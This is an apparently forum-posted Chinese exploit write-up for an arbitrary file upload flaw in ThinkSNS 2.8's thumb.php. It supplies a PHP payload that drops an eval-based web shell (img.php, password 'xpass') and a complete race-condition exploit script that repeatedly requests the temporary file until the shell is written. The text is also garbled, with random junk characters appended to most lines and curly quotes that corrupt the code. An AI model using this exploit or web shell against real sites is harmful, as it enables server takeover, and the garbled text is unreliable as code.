漏洞版本/ K2 D9 x9 G' f
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)! t* q+ e' U9 m1 f; |! C8 ~
漏洞文件1 \+ a$ ?+ \- ^$ }& w
存在漏洞的文件为:thumb.php
& [& T" {2 z# k, t作者:韦鲲鹏6 k4 K3 P% w" v. \2 J+ ^
1、 准备如下PHP文件并上传到服务器(自己的)。
7 ~+ z4 T- q0 j* ^( [8 f文件内容如下:
# Z) m; ?$ k+ b: y% [! O: D! W& d<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
; u1 A* R8 X9 D2、 计算出临时的文件名:9 z4 \" @: w; o. `; C
这里我们可以看文件的99行(刚刚是不是没注意呀!)。* B5 y5 j) }5 [! F
- Y" D: J; @( x: Q" S+ }3、 上传临时文件。) @+ E5 H$ p. E+ x! h6 L6 q7 h( f
4、 访问临时文件。
$ d3 @; X8 N7 J! [- [1 q0 F3 Y但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
/ d& x! c) U6 r8 ~" \Exploit文件内容如下:(这个我就不详细解释了)
7 ^5 L/ G; y/ }+ d9 I3 Y<?php
2 s; k# Z; i% o1 y/ d: O5 ?, ~error_reporting(0);$ ]3 g$ _5 A! D0 ^
set_time_limit(0);. f+ o$ D1 E0 X* D& J
ini_set(“default_socket_timeout”, 5);
: L+ r& b' Q- j& ufunction http_send($host, $port, $headers) {
8 U' q; a( ?+ w. M4 M$fp = fsockopen($host, $port);$ u" k6 `- e, I8 x; F! I' r' j
if (!$fp) die(‘Connection -> fail’);
1 n2 b0 D0 c( T* }9 b0 v& `/ @fputs($fp, $headers);, x( P# f: N# O; \8 b
return $fp;
; a. D0 G( }9 s}! e8 { S. N1 }$ c5 S# K
function http_recv($fp) {. o, h0 J9 B$ G- y
$ret=”";
M& g9 J7 }" @3 s+ M! _! ~ e4 dwhile (!feof($fp))/ z) `, h& H8 L# ~
$ret.= fgets($fp, 1024);
" U9 Z* k. ^; u1 c* afclose($fp);
% c1 A, z3 b ?: v4 {return $ret;
( m2 O- B4 N+ N, V# Z& C3 w}
: ~# N. d) N& xprint “\n# ThinkSns Arbitrary File Upload #\n”;2 y6 U2 L0 O! h3 I, V
print “# Discovered by 韦鲲鹏 #\n\n”;/ \( D' N# [; h( X/ h2 W! c1 r, _6 b
if ($argc < 4) {
- W2 d0 N, y" p' wprint “Usage: php <host> <path> <romote_url>\n”;. }4 u) ?4 s6 u- |
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
P9 A0 l5 ~* o6 `( J1 L) ^die();7 y, z* ?; Q# ?# N, W
}" `+ x: ]0 M# s8 m! `- J6 U. `. `, z) w
$host = $argv[1];
5 j2 q- z6 [+ t$path = $argv[2];
% f7 l; Y* x* W& ~$url = $argv[3];
: @. f% ~7 g0 d* |2 d' |$i=0;# |/ d! R9 M3 {4 C
//上传数据包! l; q" B0 i6 l2 N, M
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
1 c, c# t1 w# x( U6 @' N. v- c$headers_up .= “Host: “.$host.”\r\n”;
`$ [/ z, w. W o2 A( ^. d$headers_up .= “Connection: close\r\n\r\n”;& }3 J9 h& P1 }, H0 b F% C
echo $headers_up;" e( L a9 y+ a" P# E
//临时文件访问数据包# @+ \' W9 G% u# J" N7 P
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
9 k' O- K7 k. T" k/ }5 {- y+ q$headers .= “Host: “.$host.”\r\n”;
) C# G) s9 \$ w* N' B6 d$headers .= “Connection: close\r\n\r\n”;
) P3 r/ d" ~7 q5 X& e/ N, N6 Eecho $headers;
! g* ]- Q0 Q4 E5 C' _- k Gwhile(++$i<10) {6 l% ?# z/ w) \+ e( U+ W
fclose(http_send($host, 80, $headers));. l$ _/ C6 `- |& V5 e
}* @( V' v% D: B1 Q
fclose(http_send($host, 80, $headers_up));
6 Y! T3 h7 j3 @: R' S2 E ~$ kwhile(++$i<50) {
, M: I4 ^- U: ~2 o; [ \ T R$ {3 sfclose(http_send($host, 80, $headers));: u% [6 j( b! P- D E1 w7 J
}8 \( ]% L; ^4 A2 `
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
' w9 Z8 ^6 b1 R/ r/ R$headers .= “Host: “.$host.”\r\n”;1 o/ `4 }: |' n# A* I/ ]* v
$headers .= “Connection: close\r\n\r\n”;
" h) m4 U9 n. z$ P& R6 q$res=http_recv(http_send($host, 80, $headers));( p& t' L: Y* i& J
if(preg_match(‘/200 OK/’,$res)) {3 Z! i% b( V' P) g, ?* O
print “Success!\n\n”;4 P( Y7 p+ Q. D3 d. S; F: p
} else {
' q2 i' L- B3 X8 Jprint “Fail!\n\n”;
* A( l, n8 z5 O' k, [1 w}
6 v k0 d* ?% t2 S% X; \?>& h' B- R/ X y6 Q" X1 p* C' l* v
|